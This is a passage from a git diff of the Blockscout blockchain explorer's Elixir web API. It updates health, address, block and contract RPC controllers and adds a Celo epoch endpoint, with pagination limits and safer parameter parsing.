:metadata) + + health_status = + if Application.get_env(:explorer, :chain_type) in @rollups do + batches_indexing_status = indexing_status.batches + + base_health_status + |> put_in([:metadata, :batches], batches_indexing_status) + # todo: return this when "latest block" metric starts remain non-empty all time + # |> Map.put(:healthy, indexing_status.blocks.healthy and batches_indexing_status.healthy) + |> Map.put(:healthy, indexing_status.blocks.healthy) + else + base_health_status + |> Map.put(:healthy, indexing_status.blocks.healthy) + end + + blocks_property = Map.get(Map.get(health_status, :metadata), :blocks) + + health_status_with_error = + health_status + |> (&if(Map.has_key?(metadata, :error), + do: &1, + else: Map.put(&1, :error, Map.get(blocks_property, :error)) + )).() + + status = + if Map.get(health_status, :healthy) do + :ok + else + 500 + end + + send_resp( + conn, + status, + health_status_with_error + |> Jason.encode!() + ) + end + + defp health(conn, _params, true) do + send_resp( + conn, + :ok, + %{ + "healthy" => true, + "data" => %{} + } + |> Jason.encode!() + ) + end + + @doc """ + Handles liveness checks for the application. + + This endpoint is used to determine if the application is running and able to handle requests. + It responds with an HTTP 200 status and a predefined message. + + ## Parameters + + - conn: The connection struct representing the current HTTP connection. + - _: A map of parameters (not used in this function). + + ## Returns + + - The updated connection struct with the response sent. + """ + @spec liveness(Plug.Conn.t(), map()) :: Plug.Conn.t() + def liveness(conn, _) do + send_resp(conn, :ok, @ok_message) + end + + @doc """ + Handles readiness checks for the application. + + This endpoint is used to determine if the application is ready to handle incoming requests. + It performs a conditional check on the application's environment configuration and responds with an HTTP 200 status and a predefined message. + + In the case of indexer/API application mode, it performs request in the DB to get the latest block. + + ## Parameters + + - conn: The connection struct representing the current HTTP connection. + - _: A map of parameters (not used in this function). + + ## Returns + + - The updated connection struct with the response sent. + """ + @spec readiness(Plug.Conn.t(), map()) :: Plug.Conn.t() + def readiness(conn, _) do + unless Application.get_env(:nft_media_handler, :standalone_media_worker?) do + HealthHelper.last_db_block_status() + end + + send_resp(conn, :ok, @ok_message) + end + + @doc """ + Handles the request to check the status of the multichain search database export. + + Fetches the migration status for the multichain search database export and returns a JSON response + indicating whether the migration has finished and includes any associated metadata. + + ## Parameters + - conn: The connection struct. + - _params: The request parameters (not used in this function). + + ## Response + - A JSON response with the migration status and metadata. + + ## Examples + + iex> conn = %Plug.Conn{} + iex> multichain_search_db_export(conn, %{}) + %Plug.Conn{status: 200, resp_body: "{\"migration\":{\"finished\":false,\"meta\":{\"max_block_number\":6684354}}}"} + """ + @spec multichain_search_db_export(Plug.Conn.t(), map()) :: Plug.Conn.t() + def multichain_search_db_export(conn, _) do + case MigrationStatus.fetch(@backfill_multichain_search_db_migration_name) do + %{status: status, meta: meta} = _migration -> + response = + %{ + migration: %{ + finished: status == "completed", + metadata: meta + } + } + |> Jason.encode!() + + send_resp(conn, :ok, response) + + _ -> + send_resp(conn, :internal_server_error, Jason.encode!(%{error: "Failed to fetch migration status"})) + end + end + + @spec get_indexing_status() :: map() + def get_indexing_status do + health_status = HealthHelper.get_indexing_health_data() + + blocks = blocks_indexing_status(health_status) + + common_status = + %{ + blocks: blocks + } + + status = + if Application.get_env(:explorer, :chain_type) in @rollups do + batches = batches_indexing_status(health_status) + + common_status + |> Map.put(:batches, batches) + else + common_status + end + + status + end + + defp blocks_indexing_status(health_status) do + latest_block_timestamp_from_db = + if is_nil(health_status[:health_latest_block_timestamp_from_db]) do + nil + else + {:ok, latest_block_timestamp_from_db} = + DateTime.from_unix(Decimal.to_integer(health_status[:health_latest_block_timestamp_from_db])) + + latest_block_timestamp_from_db + end + + latest_block_timestamp_from_cache = + if is_nil(health_status[:health_latest_block_timestamp_from_cache]) do + nil + else + {:ok, latest_block_timestamp_from_cache} = + DateTime.from_unix(Decimal.to_integer(health_status[:health_latest_block_timestamp_from_cache])) + + latest_block_timestamp_from_cache + end + + {healthy?, code, message} = + case HealthHelper.blocks_indexing_healthy?(health_status) do + true -> {true, 0, nil} + other -> other + end + + base_response = + %{ + healthy: healthy?, + latest_block: %{ + db: %{ + number: to_string(health_status[:health_latest_block_number_from_db]), + timestamp: to_string(latest_block_timestamp_from_db) + }, + cache: %{ + number: to_string(health_status[:health_latest_block_number_from_cache]), + timestamp: to_string(latest_block_timestamp_from_cache) + }, + node: %{ + number: to_string(health_status[:health_latest_block_number_from_node]) + } + } + } + + response = + if healthy? do + base_response + else + Map.put(base_response, :error, error(code, message)) + end + + response + end + + defp batches_indexing_status(health_status) do + latest_batch_timestamp_from_db = + if is_nil(health_status[:health_latest_batch_timestamp_from_db]) do + nil + else + {:ok, latest_batch_timestamp_from_db} = + DateTime.from_unix(Decimal.to_integer(health_status[:health_latest_batch_timestamp_from_db])) + + latest_batch_timestamp_from_db + end + + {healthy?, code, message} = + case HealthHelper.batches_indexing_healthy?(health_status) do + true -> {true, 0, nil} + other -> other + end + + base_response = + %{ + healthy: healthy?, + latest_batch: %{ + db: %{ + number: to_string(health_status[:health_latest_batch_number_from_db]), + timestamp: to_string(latest_batch_timestamp_from_db), + average_batch_time: to_string(health_status[:health_latest_batch_average_time_from_db]) + } + } + } + + response = + if healthy? do + base_response + else + Map.put(base_response, :error, error(code, message)) + end + + response + end + + defp error(code, message) do + %{ + code: code, + message: message + } + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/address_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/address_controller.ex index 54ef51a4e4f7..fb786e155419 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/address_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/address_controller.ex @@ -1,24 +1,40 @@ defmodule BlockScoutWeb.API.RPC.AddressController do use BlockScoutWeb, :controller - alias BlockScoutWeb.API.RPC.Helpers + alias BlockScoutWeb.AccessHelper + alias BlockScoutWeb.API.RPC.Helper alias Explorer.{Chain, Etherscan} alias Explorer.Chain.{Address, Wei} alias Explorer.Etherscan.{Addresses, Blocks} - alias Indexer.Fetcher.CoinBalanceOnDemand + alias Explorer.Helper, as: ExplorerHelper + alias Indexer.Fetcher.OnDemand.CoinBalance, as: CoinBalanceOnDemand + + @api_true [api?: true] + + @invalid_address_message "Invalid address format" + @invalid_contract_address_message "Invalid contract address format" + @no_token_transfers_message "No token transfers found" + @results_window 10000 + @results_window_too_large_message "Result window is too large, PageNo x Offset size must be less than or equal to #{@results_window}" + @max_safe_block_number round(:math.pow(2, 31)) - 1 def listaccounts(conn, params) do - options = - params - |> optional_params() - |> Map.put_new(:page_number, 0) - |> Map.put_new(:page_size, 10) + case optional_params(params) do + {:ok, options} -> + options = + options + |> Map.put_new(:page_number, 0) + |> Map.put_new(:page_size, 10) + + accounts = list_accounts(options, AccessHelper.conn_to_ip_string(conn)) - accounts = list_accounts(options) + conn + |> put_status(200) + |> render(:listaccounts, %{accounts: accounts}) - conn - |> put_status(200) - |> render(:listaccounts, %{accounts: accounts}) + {:error, :results_window_too_large} -> + render(conn, :error, error: @results_window_too_large_message, data: nil) + end end def eth_get_balance(conn, params) do @@ -53,7 +69,7 @@ defmodule BlockScoutWeb.API.RPC.AddressController do def balance(conn, params, template \\ :balance) do with {:address_param, {:ok, address_param}} <- fetch_address(params), {:format, {:ok, address_hashes}} <- to_address_hashes(address_param) do - addresses = hashes_to_addresses(address_hashes) + addresses = hashes_to_addresses(address_hashes, AccessHelper.conn_to_ip_string(conn)) render(conn, template, %{addresses: addresses}) else {:address_param, :error} -> @@ -73,9 +89,8 @@ defmodule BlockScoutWeb.API.RPC.AddressController do end def pendingtxlist(conn, params) do - options = optional_params(params) - - with {:address_param, {:ok, address_param}} <- fetch_address(params), + with {:params, {:ok, options}} <- {:params, optional_params(params)}, + {:address_param, {:ok, address_param}} <- fetch_address(params), {:format, {:ok, address_hash}} <- to_address_hash(address_param), {:ok, transactions} <- list_pending_transactions(address_hash, options) do render(conn, :pendingtxlist, %{transactions: transactions}) @@ -88,19 +103,21 @@ defmodule BlockScoutWeb.API.RPC.AddressController do {:format, :error} -> conn |> put_status(200) - |> render(:error, error: "Invalid address format") + |> render(:error, error: @invalid_address_message) {:error, :not_found} -> render(conn, :error, error: "No transactions found", data: []) + + {:params, {:error, :results_window_too_large}} -> + render(conn, :error, error: @results_window_too_large_message, data: nil) end end def txlist(conn, params) do - options = optional_params(params) - - with {:address_param, {:ok, address_param}} <- fetch_address(params), + with {:params, {:ok, options}} <- {:params, optional_params(params)}, + {:address_param, {:ok, address_param}} <- fetch_address(params), {:format, {:ok, address_hash}} <- to_address_hash(address_param), - {:address, :ok} <- {:address, Chain.check_address_exists(address_hash)}, + {:address, :ok} <- {:address, Address.check_address_exists(address_hash, @api_true)}, {:ok, transactions} <- list_transactions(address_hash, options) do render(conn, :txlist, %{transactions: transactions}) else @@ -112,29 +129,33 @@ defmodule BlockScoutWeb.API.RPC.AddressController do {:format, :error} -> conn |> put_status(200) - |> render(:error, error: "Invalid address format") + |> render(:error, error: @invalid_address_message) {_, :not_found} -> render(conn, :error, error: "No transactions found", data: []) + + {:params, {:error, :results_window_too_large}} -> + render(conn, :error, error: @results_window_too_large_message, data: nil) end end def txlistinternal(conn, params) do case {Map.fetch(params, "txhash"), Map.fetch(params, "address")} do {:error, :error} -> - render(conn, :error, error: "Query parameter txhash or address is required") - - {{:ok, txhash_param}, :error} -> - txlistinternal(conn, txhash_param, :txhash) + txlistinternal(conn, params, :no_param) - {:error, {:ok, address_param}} -> + {_, {:ok, address_param}} -> txlistinternal(conn, params, address_param, :address) + + {{:ok, transaction_param}, _} -> + txlistinternal(conn, params, transaction_param, :transaction) end end - def txlistinternal(conn, txhash_param, :txhash) do - with {:format, {:ok, transaction_hash}} <- to_transaction_hash(txhash_param), - {:ok, internal_transactions} <- list_internal_transactions(transaction_hash) do + def txlistinternal(conn, params, transaction_param, :transaction) do + with {:params, {:ok, options}} <- {:params, optional_params(params)}, + {:format, {:ok, transaction_hash}} <- to_transaction_hash(transaction_param), + {:ok, internal_transactions} <- list_internal_transactions(transaction_hash, options) do render(conn, :txlistinternal, %{internal_transactions: internal_transactions}) else {:format, :error} -> @@ -142,46 +163,83 @@ defmodule BlockScoutWeb.API.RPC.AddressController do {:error, :not_found} -> render(conn, :error, error: "No internal transactions found", data: []) + + {:params, {:error, :results_window_too_large}} -> + render(conn, :error, error: @results_window_too_large_message, data: nil) end end def txlistinternal(conn, params, address_param, :address) do - options = optional_params(params) - - with {:format, {:ok, address_hash}} <- to_address_hash(address_param), - {:address, :ok} <- {:address, Chain.check_address_exists(address_hash)}, + with {:params, {:ok, options}} <- {:params, optional_params(params)}, + {:format, {:ok, address_hash}} <- to_address_hash(address_param), + {:address, :ok} <- {:address, Address.check_address_exists(address_hash, @api_true)}, {:ok, internal_transactions} <- list_internal_transactions(address_hash, options) do render(conn, :txlistinternal, %{internal_transactions: internal_transactions}) else {:format, :error} -> - render(conn, :error, error: "Invalid address format") + render(conn, :error, error: @invalid_address_message) {_, :not_found} -> render(conn, :error, error: "No internal transactions found", data: []) + + {:params, {:error, :results_window_too_large}} -> + render(conn, :error, error: @results_window_too_large_message, data: nil) + end + end + + def txlistinternal(conn, params, :no_param) do + with {:params, {:ok, options}} <- {:params, optional_params(params)}, + {:ok, internal_transactions} <- list_internal_transactions(:all, options) do + render(conn, :txlistinternal, %{internal_transactions: internal_transactions}) + else + {:error, :not_found} -> + render(conn, :error, error: "No internal transactions found", data: []) + + {:params, {:error, :results_window_too_large}} -> + render(conn, :error, error: @results_window_too_large_message, data: nil) end end def tokentx(conn, params) do - options = optional_params(params) + do_tokentx(conn, params, :erc20) + end - with {:address_param, {:ok, address_param}} <- fetch_address(params), - {:format, {:ok, address_hash}} <- to_address_hash(address_param), - {:contract_address, {:ok, contract_address_hash}} <- to_contract_address_hash(params["contractaddress"]), - {:address, :ok} <- {:address, Chain.check_address_exists(address_hash)}, - {:ok, token_transfers} <- list_token_transfers(address_hash, contract_address_hash, options) do - render(conn, :tokentx, %{token_transfers: token_transfers}) + def tokennfttx(conn, params) do + do_tokentx(conn, params, :erc721) + end + + def token1155tx(conn, params) do + do_tokentx(conn, params, :erc1155) + end + + def token404tx(conn, params) do + do_tokentx(conn, params, :erc404) + end + + defp do_tokentx(conn, params, transfers_type) do + with {:params, {:ok, options}} <- {:params, optional_params(params)}, + {:address, {:ok, address_hash}} <- {:address, to_address_hash_optional(params["address"])}, + {:contract_address, {:ok, contract_address_hash}} <- + {:contract_address, to_address_hash_optional(params["contractaddress"])}, + true <- !is_nil(address_hash) or !is_nil(contract_address_hash), + {:ok, token_transfers, max_block_number} <- + list_token_transfers(transfers_type, address_hash, contract_address_hash, options) do + render(conn, :tokentx, %{token_transfers: token_transfers, max_block_number: max_block_number}) else - {:address_param, :error} -> - render(conn, :error, error: "Query parameter address is required") + false -> + render(conn, :error, error: "Query parameter address or contractaddress is required") - {:format, :error} -> - render(conn, :error, error: "Invalid address format") + {:address, :error} -> + render(conn, :error, error: @invalid_address_message) {:contract_address, :error} -> - render(conn, :error, error: "Invalid contract address format") + render(conn, :error, error: @invalid_contract_address_message) {_, :not_found} -> - render(conn, :error, error: "No token transfers found", data: []) + render(conn, :error, error: @no_token_transfers_message, data: []) + + {:params, {:error, :results_window_too_large}} -> + render(conn, :error, error: @results_window_too_large_message, data: nil) end end @@ -205,7 +263,7 @@ defmodule BlockScoutWeb.API.RPC.AddressController do def tokenlist(conn, params) do with {:address_param, {:ok, address_param}} <- fetch_address(params), {:format, {:ok, address_hash}} <- to_address_hash(address_param), - {:address, :ok} <- {:address, Chain.check_address_exists(address_hash)}, + {:address, :ok} <- {:address, Address.check_address_exists(address_hash, @api_true)}, {:ok, token_list} <- list_tokens(address_hash) do render(conn, :token_list, %{token_list: token_list}) else @@ -213,7 +271,7 @@ defmodule BlockScoutWeb.API.RPC.AddressController do render(conn, :error, error: "Query parameter address is required") {:format, :error} -> - render(conn, :error, error: "Invalid address format") + render(conn, :error, error: @invalid_address_message) {_, :not_found} -> render(conn, :error, error: "No tokens found", data: []) @@ -221,11 +279,11 @@ defmodule BlockScoutWeb.API.RPC.AddressController do end def getminedblocks(conn, params) do - options = Helpers.put_pagination_options(%{}, params) + options = Helper.put_pagination_options(%{}, params) with {:address_param, {:ok, address_param}} <- fetch_address(params), {:format, {:ok, address_hash}} <- to_address_hash(address_param), - {:address, :ok} <- {:address, Chain.check_address_exists(address_hash)}, + {:address, :ok} <- {:address, Address.check_address_exists(address_hash, @api_true)}, {:ok, blocks} <- list_blocks(address_hash, options) do render(conn, :getminedblocks, %{blocks: blocks}) else @@ -233,27 +291,32 @@ defmodule BlockScoutWeb.API.RPC.AddressController do render(conn, :error, error: "Query parameter 'address' is required") {:format, :error} -> - render(conn, :error, error: "Invalid address format") + render(conn, :error, error: @invalid_address_message) {_, :not_found} -> render(conn, :error, error: "No blocks found", data: []) end end - @doc """ - Sanitizes optional params. - - """ - @spec optional_params(map()) :: map() + @doc false + @spec optional_params(map()) :: {:ok, map()} | {:error, :results_window_too_large} def optional_params(params) do %{} + |> put_boolean(params, "include_zero_value", :include_zero_value) |> put_order_by_direction(params) - |> Helpers.put_pagination_options(params) - |> put_start_block(params) - |> put_end_block(params) + |> Helper.put_pagination_options(params) + |> put_block(params, "startblock") + |> put_block(params, "endblock") |> put_filter_by(params) - |> put_start_timestamp(params) - |> put_end_timestamp(params) + |> put_timestamp(params, "start_timestamp") + |> put_timestamp(params, "end_timestamp") + |> case do + %{page_number: page_number, page_size: page_size} when page_number * page_size > @results_window -> + {:error, :results_window_too_large} + + params -> + {:ok, params} + end end @doc """ @@ -348,20 +411,20 @@ defmodule BlockScoutWeb.API.RPC.AddressController do Enum.any?(address_hashes, &(&1 == :error)) end - defp list_accounts(%{page_number: page_number, page_size: page_size}) do + defp list_accounts(%{page_number: page_number, page_size: page_size}, ip) do offset = (max(page_number, 1) - 1) * page_size # limit is just page_size offset |> Addresses.list_ordered_addresses(page_size) - |> trigger_balances_and_add_status() + |> trigger_balances_and_add_status(ip) end - defp hashes_to_addresses(address_hashes) do + defp hashes_to_addresses(address_hashes, ip) do address_hashes |> Chain.hashes_to_addresses() - |> trigger_balances_and_add_status() |> add_not_found_addresses(address_hashes) + |> trigger_balances_and_add_status(ip) end defp add_not_found_addresses(addresses, hashes) do @@ -370,22 +433,13 @@ defmodule BlockScoutWeb.API.RPC.AddressController do hashes |> MapSet.new() |> MapSet.difference(found_hashes) - |> hashes_to_addresses(:not_found) + |> Enum.map(fn hash -> %Address{hash: hash, fetched_coin_balance: %Wei{value: 0}} end) |> Enum.concat(addresses) end - defp hashes_to_addresses(hashes, :not_found) do - Enum.map(hashes, fn hash -> - %Address{ - hash: hash, - fetched_coin_balance: %Wei{value: 0} - } - end) - end - - defp trigger_balances_and_add_status(addresses) do + defp trigger_balances_and_add_status(addresses, ip) do Enum.map(addresses, fn address -> - case CoinBalanceOnDemand.trigger_fetch(address) do + case CoinBalanceOnDemand.trigger_fetch(ip, address) do :current -> %{address | stale?: false} @@ -395,11 +449,9 @@ defmodule BlockScoutWeb.API.RPC.AddressController do end) end - defp to_contract_address_hash(nil), do: {:contract_address, {:ok, nil}} + defp to_address_hash_optional(nil), do: {:ok, nil} - defp to_contract_address_hash(address_hash_string) do - {:contract_address, Chain.string_to_address_hash(address_hash_string)} - end + defp to_address_hash_optional(address_hash_string), do: Chain.string_to_address_hash(address_hash_string) defp to_address_hash(address_hash_string) do {:format, Chain.string_to_address_hash(address_hash_string)} @@ -413,7 +465,15 @@ defmodule BlockScoutWeb.API.RPC.AddressController do end defp to_transaction_hash(transaction_hash_string) do - {:format, Chain.string_to_transaction_hash(transaction_hash_string)} + {:format, Chain.string_to_full_hash(transaction_hash_string)} + end + + defp put_boolean(options, params, params_key, options_key) do + case params |> Map.get(params_key, "") |> String.downcase() do + "true" -> Map.put(options, options_key, true) + "false" -> Map.put(options, options_key, false) + _ -> options + end end defp put_order_by_direction(options, params) do @@ -427,52 +487,43 @@ defmodule BlockScoutWeb.API.RPC.AddressController do end end - defp put_start_block(options, params) do - with %{"startblock" => startblock_param} <- params, - {start_block, ""} <- Integer.parse(startblock_param) do - Map.put(options, :start_block, start_block) - else - _ -> - options - end - end - - defp put_end_block(options, params) do - with %{"endblock" => endblock_param} <- params, - {end_block, ""} <- Integer.parse(endblock_param) do - Map.put(options, :end_block, end_block) + # sobelow_skip ["DOS.StringToAtom"] + defp put_block(options, params, key) do + with %{^key => block_param} <- params, + {:ok, block_number} <- + ExplorerHelper.safe_parse_non_negative_integer( + block_param, + @max_safe_block_number + ) do + Map.put(options, String.to_atom(key), block_number) else _ -> options end end + # sobelow_skip ["DOS.StringToAtom"] defp put_filter_by(options, params) do case params do - %{"filterby" => filter_by} when filter_by in ["from", "to"] -> - Map.put(options, :filter_by, filter_by) + %{"filter_by" => filter_by} when filter_by in ["from", "to"] -> + Map.put(options, String.to_atom("filter_by"), filter_by) _ -> options end end - defp put_start_timestamp(options, params) do - with %{"starttimestamp" => starttimestamp_param} <- params, - {unix_timestamp, ""} <- Integer.parse(starttimestamp_param), - {:ok, start_timestamp} <- DateTime.from_unix(unix_timestamp) do - Map.put(options, :start_timestamp, start_timestamp) - else - _ -> - options - end + def put_timestamp({:ok, options}, params, timestamp_param_key) do + options = put_timestamp(options, params, timestamp_param_key) + {:ok, options} end - defp put_end_timestamp(options, params) do - with %{"endtimestamp" => endtimestamp_param} <- params, - {unix_timestamp, ""} <- Integer.parse(endtimestamp_param), - {:ok, end_timestamp} <- DateTime.from_unix(unix_timestamp) do - Map.put(options, :end_timestamp, end_timestamp) + # sobelow_skip ["DOS.StringToAtom"] + def put_timestamp(options, params, timestamp_param_key) do + with %{^timestamp_param_key => timestamp_param} <- params, + {unix_timestamp, ""} <- Integer.parse(timestamp_param), + {:ok, timestamp} <- DateTime.from_unix(unix_timestamp) do + Map.put(options, String.to_atom(timestamp_param_key), timestamp) else _ -> options @@ -493,24 +544,25 @@ defmodule BlockScoutWeb.API.RPC.AddressController do end end - defp list_internal_transactions(transaction_hash) do - case Etherscan.list_internal_transactions(transaction_hash) do - [] -> {:error, :not_found} - internal_transactions -> {:ok, internal_transactions} - end - end - - defp list_internal_transactions(address_hash, options) do - case Etherscan.list_internal_transactions(address_hash, options) do + defp list_internal_transactions(transaction_or_address_hash_param_or_no_param, options) do + case Etherscan.list_internal_transactions(transaction_or_address_hash_param_or_no_param, options) do [] -> {:error, :not_found} internal_transactions -> {:ok, internal_transactions} end end - defp list_token_transfers(address_hash, contract_address_hash, options) do - case Etherscan.list_token_transfers(address_hash, contract_address_hash, options) do - [] -> {:error, :not_found} - token_transfers -> {:ok, token_transfers} + defp list_token_transfers(transfers_type, address_hash, contract_address_hash, options) do + with {:ok, max_block_number} <- Chain.max_consensus_block_number(), + [_ | _] = token_transfers <- + Etherscan.list_token_transfers( + transfers_type, + address_hash, + contract_address_hash, + options + ) do + {:ok, token_transfers, max_block_number} + else + _ -> {:error, :not_found} end end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/block_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/block_controller.ex index 68256be97564..6cd7c76a3034 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/block_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/block_controller.ex @@ -3,15 +3,42 @@ defmodule BlockScoutWeb.API.RPC.BlockController do alias BlockScoutWeb.Chain, as: ChainWeb alias Explorer.Chain + alias Explorer.Chain.Block.Reader.General, as: BlockGeneralReader alias Explorer.Chain.Cache.BlockNumber + alias Explorer.Chain.Cache.Counters.AverageBlockTime + alias Timex.Duration + @doc """ + Calculates the total reward for mining a specific block. + + ## Parameters + - conn: Plug.Conn struct. + - params: A map containing the query parameters which should include: + - `blockno`: The number of the block for which to calculate the reward. + + ## Description + This function computes the block reward, which consists of: + - The sum of the transaction fees (gas_used * gas_price) for the block. + - A static reward for the miner, which may vary over the blockchain's lifespan. + - The reward for uncle blocks calculated as (1/32 * static_reward * number_of_uncles). + + ## Responses + - On success: Renders a JSON response with the reward details for the block. + - On failure: Renders an error response with an appropriate message due to: + - Absence of the `blockno` parameter. + - Invalid `blockno` parameter. + - Non-existence of the specified block. + """ + @spec getblockreward(Plug.Conn.t(), map()) :: Plug.Conn.t() def getblockreward(conn, params) do with {:block_param, {:ok, unsafe_block_number}} <- {:block_param, Map.fetch(params, "blockno")}, {:ok, block_number} <- ChainWeb.param_to_block_number(unsafe_block_number), - {:ok, block} <- Chain.number_to_block(block_number) do - reward = Chain.block_reward(block_number) - - render(conn, :block_reward, block: block, reward: reward) + {:ok, block} <- + Chain.number_to_block(block_number, + necessity_by_association: %{rewards: :optional}, + api?: true + ) do + render(conn, :block_reward, block: block) else {:block_param, :error} -> render(conn, :error, error: "Query parameter 'blockno' is required") @@ -24,6 +51,84 @@ defmodule BlockScoutWeb.API.RPC.BlockController do end end + @doc """ + Calculates and renders the estimated time until a target block number is reached. + + ## Parameters + - conn: Plug.Conn struct. + - params: A map containing the query parameters which should include: + - `blockno`: The target block number to countdown to. + + ## Description + This function takes a target block number from the `params` map and calculates the remaining time in seconds until that block is reached, considering the current maximum block number and the average block time. + + ## Responses + - On success: Renders a view with the countdown information including the current block number, target block number, the number of remaining blocks, and the estimated time in seconds until the target block number is reached. + - On failure: Renders an error view with an appropriate message, which could be due to: + - Missing `blockno` parameter. + - Invalid block number provided. + - Average block time calculation being disabled. + - Chain is currently indexing and cannot provide the information. + - The target block number has already been passed. + """ + @spec getblockcountdown(Plug.Conn.t(), map()) :: Plug.Conn.t() + def getblockcountdown(conn, params) do + with {:block_param, {:ok, unsafe_target_block_number}} <- {:block_param, Map.fetch(params, "blockno")}, + {:ok, target_block_number} <- ChainWeb.param_to_block_number(unsafe_target_block_number), + {:max_block, current_block_number} when not is_nil(current_block_number) <- + {:max_block, BlockNumber.get_max()}, + {:average_block_time, average_block_time} when is_struct(average_block_time) <- + {:average_block_time, AverageBlockTime.average_block_time()}, + {:remaining_blocks, remaining_blocks} when remaining_blocks > 0 <- + {:remaining_blocks, target_block_number - current_block_number} do + estimated_time_in_sec = Float.round(remaining_blocks * Duration.to_seconds(average_block_time), 1) + + render(conn, :block_countdown, + current_block: current_block_number, + countdown_block: target_block_number, + remaining_blocks: remaining_blocks, + estimated_time_in_sec: estimated_time_in_sec + ) + else + {:block_param, :error} -> + render(conn, :error, error: "Query parameter 'blockno' is required") + + {:error, :invalid} -> + render(conn, :error, error: "Invalid block number") + + {:average_block_time, {:error, :disabled}} -> + render(conn, :error, error: "Average block time calculating is disabled, so getblockcountdown is not available") + + {stage, _} when stage in ~w(max_block average_block_time)a -> + render(conn, :error, error: "Chain is indexing now, try again later") + + {:remaining_blocks, _} -> + render(conn, :error, error: "Error! Block number already pass") + end + end + + @doc """ + Retrieves the block number associated with a given timestamp and closest policy. + + ## Parameters + - conn: Plug.Conn struct. + - params: A map containing the query parameters which should include: + - `timestamp`: The timestamp to query the block number for. + - `closest`: The policy to determine which block number to return. It could be a value like 'before' or 'after' to indicate whether the closest block before or after the given timestamp should be returned. + + ## Description + This function finds the block number that is closest to a specific timestamp according to the provided 'closest' policy. + + ## Responses + - On success: Renders a JSON response with the found block number. + - On failure: Renders an error response with an appropriate message, which could be due to: + - Missing `timestamp` parameter. + - Missing `closest` parameter. + - Invalid `timestamp` parameter. + - Invalid `closest` parameter. + - No block corresponding to the given timestamp and closest policy. + """ + @spec getblocknobytime(Plug.Conn.t(), map()) :: Plug.Conn.t() def getblocknobytime(conn, params) do from_api = true @@ -31,7 +136,7 @@ defmodule BlockScoutWeb.API.RPC.BlockController do {:closest_param, {:ok, unsafe_closest}} <- {:closest_param, Map.fetch(params, "closest")}, {:ok, timestamp} <- ChainWeb.param_to_block_timestamp(unsafe_timestamp), {:ok, closest} <- ChainWeb.param_to_block_closest(unsafe_closest), - {:ok, block_number} <- Chain.timestamp_to_block_number(timestamp, closest, from_api) do + {:ok, block_number} <- BlockGeneralReader.timestamp_to_block_number(timestamp, closest, from_api) do render(conn, block_number: block_number) else {:timestamp_param, :error} -> @@ -51,6 +156,21 @@ defmodule BlockScoutWeb.API.RPC.BlockController do end end + @doc """ + Fetches the highest block number from the chain. + + ## Parameters + - conn: Plug.Conn struct. + - params: A map containing the query parameters which may include: + - `id`: An optional parameter that defaults to 1 if not provided. + + ## Description + This function retrieves the maximum block number that has been recorded in the blockchain. + + ## Responses + - Renders a JSON response including the maximum block number and the provided or default `id`. + """ + @spec eth_block_number(Plug.Conn.t(), map()) :: Plug.Conn.t() def eth_block_number(conn, params) do id = Map.get(params, "id", 1) max_block_number = BlockNumber.get_max() diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/celo_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/celo_controller.ex new file mode 100644 index 000000000000..3680103ed474 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/celo_controller.ex @@ -0,0 +1,45 @@ +defmodule BlockScoutWeb.API.RPC.CeloController do + use BlockScoutWeb, :controller + alias Explorer.Helper + alias Explorer.Chain.Celo.{ElectionReward, Epoch} + + @max_safe_epoch_number 32_768 + + def getepoch(conn, params) do + options = [ + necessity_by_association: %{ + :distribution => :optional, + :start_processing_block => :optional, + :end_processing_block => :optional + }, + api?: true + ] + + with {:param, {:ok, epoch_number}} <- + {:param, Map.fetch(params, "epochNumber")}, + {:format, {:ok, epoch_number}} <- + {:format, Helper.safe_parse_non_negative_integer(epoch_number, @max_safe_epoch_number)}, + {:epoch, {:ok, epoch}} <- {:epoch, Epoch.from_number(epoch_number, options)} do + aggregated_rewards = ElectionReward.epoch_number_to_rewards_aggregated_by_type(epoch.number, options) + + conn + |> render(:celo_epoch, epoch: epoch, aggregated_rewards: aggregated_rewards) + else + {:param, :error} -> + render(conn, :error, error: "Query parameter 'epochNumber' is required") + + {:format, {:error, type}} -> + error = + case type do + :negative_integer -> "Epoch number cannot be negative" + :too_big_integer -> "Epoch number is too big" + :invalid_integer -> "Invalid epoch number" + end + + render(conn, :error, error: error) + + {:epoch, {:error, :not_found}} -> + render(conn, :error, error: "No epoch found") + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/contract_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/contract_controller.ex index d1e132b15e24..5149417682b8 100644 --- a/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/contract_controller.ex +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/rpc/contract_controller.ex @@ -1,32 +1,93 @@ defmodule BlockScoutWeb.API.RPC.ContractController do use BlockScoutWeb, :controller + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] require Logger - alias BlockScoutWeb.AddressContractVerificationController, as: VerificationController - alias BlockScoutWeb.API.RPC.Helpers + alias BlockScoutWeb.AccessHelper + alias BlockScoutWeb.API.RPC.{AddressController, Helper} alias Explorer.Chain - alias Explorer.Chain.Events.Publisher, as: EventsPublisher - alias Explorer.Chain.{Hash, SmartContract} + alias Explorer.Chain.{Address, Hash, SmartContract} + alias Explorer.Chain.SmartContract.Proxy.Models.Implementation + alias Explorer.Chain.SmartContract.Proxy.VerificationStatus, as: ProxyVerificationStatus alias Explorer.Chain.SmartContract.VerificationStatus alias Explorer.Etherscan.Contracts - alias Explorer.SmartContract.Helper - alias Explorer.SmartContract.Solidity.Publisher + alias Explorer.SmartContract.Helper, as: SmartContractHelper + alias Explorer.SmartContract.Solidity.{Publisher, PublishHelper} alias Explorer.SmartContract.Solidity.PublisherWorker, as: SolidityPublisherWorker alias Explorer.SmartContract.Vyper.Publisher, as: VyperPublisher alias Explorer.ThirdPartyIntegrations.Sourcify + alias 